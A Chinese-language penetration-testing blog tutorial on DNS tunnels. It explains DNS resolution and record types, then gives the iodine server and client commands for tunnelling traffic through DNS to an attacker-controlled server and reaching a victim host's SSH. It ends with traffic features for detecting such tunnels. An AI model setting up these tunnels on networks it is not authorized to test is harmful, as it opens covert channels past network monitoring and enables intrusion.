1. 程式人生 > 實用技巧 >內網滲透-dns隧道通訊原理&特徵

內網滲透-dns隧道通訊原理&特徵

1、dns是什麼

DNS是 Domain Name System 的縮寫,也就是 域名解析系統,它的作用非常簡單,就是根據域名查出對應的 IP地址。

2、域名的層級

主機名.次級域名.頂級域名.根域名
baike.baidu.com.root

3、dns解析過程

來自:https://mp.weixin.qq.com/s/aPa1sYBmb4j1PtyEOkipdw
先查詢本地 DNS 快取(自己的電腦上),有則返回,沒有則進入下一步 檢視本地 hosts 檔案有沒有相應的對映記錄,有則返回,沒有則進入下一步 向本地 DNS 伺服器(一般都是你的網路接入伺服器商提供,比如中國電信,中國移動)傳送請求進行查詢,本地DNS伺服器收到請求後,會先查下自己的快取記錄,如果查到了直接返回就結束了,如果沒有查到,本地DNS伺服器就會向DNS的根域名伺服器發起查詢請求:請問老大, www.
163.com 的ip是啥? 根域名伺服器收到請求後,看到這是個 .com 的域名,就回信說:這個域名是由 .com 老弟管理的,你去問他好了,這是.com老弟的聯絡方式(ip1)。 本地 DNS 伺服器接收到回信後,照著老大哥給的聯絡方式(ip1),馬上給 .com 這個頂級域名伺服器發起請求:請問 .com 大大,www.163.com 的ip 是啥? .com 頂級域名伺服器接收到請求後,看到這是 163.com 的域名,就回信說:這個域名是 .163.com 老弟管理的,你就去問他就行了,這是他的聯絡方式(ip2) 本地 DNS 伺服器接收到回信後,按照前輩的指引(ip2),又向 .163
.com 這個權威域名伺服器發起請求:請問 163.com 大大,請問 www.163.com 的ip是啥? 163.com 權威域名伺服器接收到請求後,確認了是自己管理的域名,馬上查了下自己的小本本,把 www.163.com 的ip告訴了 本地DNS伺服器。 本地DNS伺服器接收到回信後,非常地開心,這下總算拿到了www.163.com的ip了,馬上把這個訊息告訴了要求查詢的客戶(就是你的電腦)。由於這個過程比較漫長,本地DNS伺服器為了節省時間,也為了儘量不去打擾各位老大哥,就把這個查詢結果偷偷地記在了自己的小本本上,方便下次有人來查詢時,可以快速回應。

總結起來就三句話(一會的dns現網環境隧道,就是在子域名加了一條ns記錄)

"根域名伺服器"查到"頂級域名伺服器"的NS記錄和A記錄(IP地址)
從"頂級域名伺服器"查到"次級域名伺服器"的NS記錄和A記錄(IP地址)
從"次級域名伺服器"查出"主機名"的IP地址

4、dns快取時間

我們在配置 DNS 解析的時候,會有一個 TTL 引數(Time To Live),意思就是這個快取可以存活多長時間,過了這個時間,本地 DNS 就會刪除這條記錄,刪除了快取後,你再訪問,就要重新走一遍上面的流程,獲取最新的地址。

5、dns的記錄型別

常見的 DNS 記錄型別如下

A:地址記錄(Address),返回域名指向的IP地址。

NS:域名伺服器記錄(Name Server),返回儲存下一級域名資訊的伺服器地址。該記錄只能設定為域名,不能設定為IP地址。

MX:郵件記錄(Mail eXchange),返回接收電子郵件的伺服器地址。

CNAME:規範名稱記錄(Canonical Name),返回另一個域名,即當前查詢的域名是另一個域名的跳轉。

PTR:逆向查詢記錄(Pointer Record),只用於從IP地址查詢域名。

6、iodine搭建dns隧道

6.1公網環境(中繼實現dns隧道,本地區域網環境,不需要這一步)

第一步:新增一條NS記錄

我這裡的設定是dns.tutuuu.top指向dnsns.tutuuu.top,想要解析dns.tutuuu.top這個子域名,就需要去訪問dnsns.tutuuu.top這個域名伺服器

第二步:新增一條A記錄

將域名伺服器解析到咱們的控制的公網伺服器IP地址,我的域名伺服器是dnsns.tutuuu.top,對應的公網IP地址是123.56.6.xxx

6.2 使用iodine搭建dns隧道

-f 前臺顯示
-P 設定通訊密碼(我的密碼是hackbijipasswd)
10.0.0.1 (我設定的伺服器私有網址,也可以設定為其他地址)
dnsns.tutuuu.top

服務端執行

iodined -fP 123passwd 10.0.0.1 dnsns.tutuuu.top

可以看到服務端建立了一個10網段的dns0的網絡卡

客戶端執行

iodine -fP 123passwd -T txt -r 192.168.8.190 dnsns.tutuuu.top

訪問10.0.0.0網段的流量都會走dns0隧道介面

檢視當前路由

訪問被害者主機的ssh

流量分析

使用-T引數,可以指定dns傳輸的查詢型別,下圖使用的是txt型別傳輸

預設不加-T引數,dns隧道查詢使用的是10這個type,可以作為在流量中發現dns隧道的一個判定依據。

支援NULL,TXT,SRV,MX,CNAME,A等多種查詢請求型別。

在正常的DNS流量中。A記錄型別的流量佔20%-30%,CNAME記錄為38%-48%,AAAA記錄佔25%,NS記錄只有5%,TXT記錄只有1%-2%。然而為了獲取更高的頻寬,一部分的DNS隱蔽通道工具如Iodine。在預設配置下會使用TXT或NULL等不常用的記錄型別。

寫完了,發現綠盟之前總結過,各位看官可以研讀一下。

http://blog.nsfocus.net/dns-tunnel-communication-characteristics-detection/?from=timeline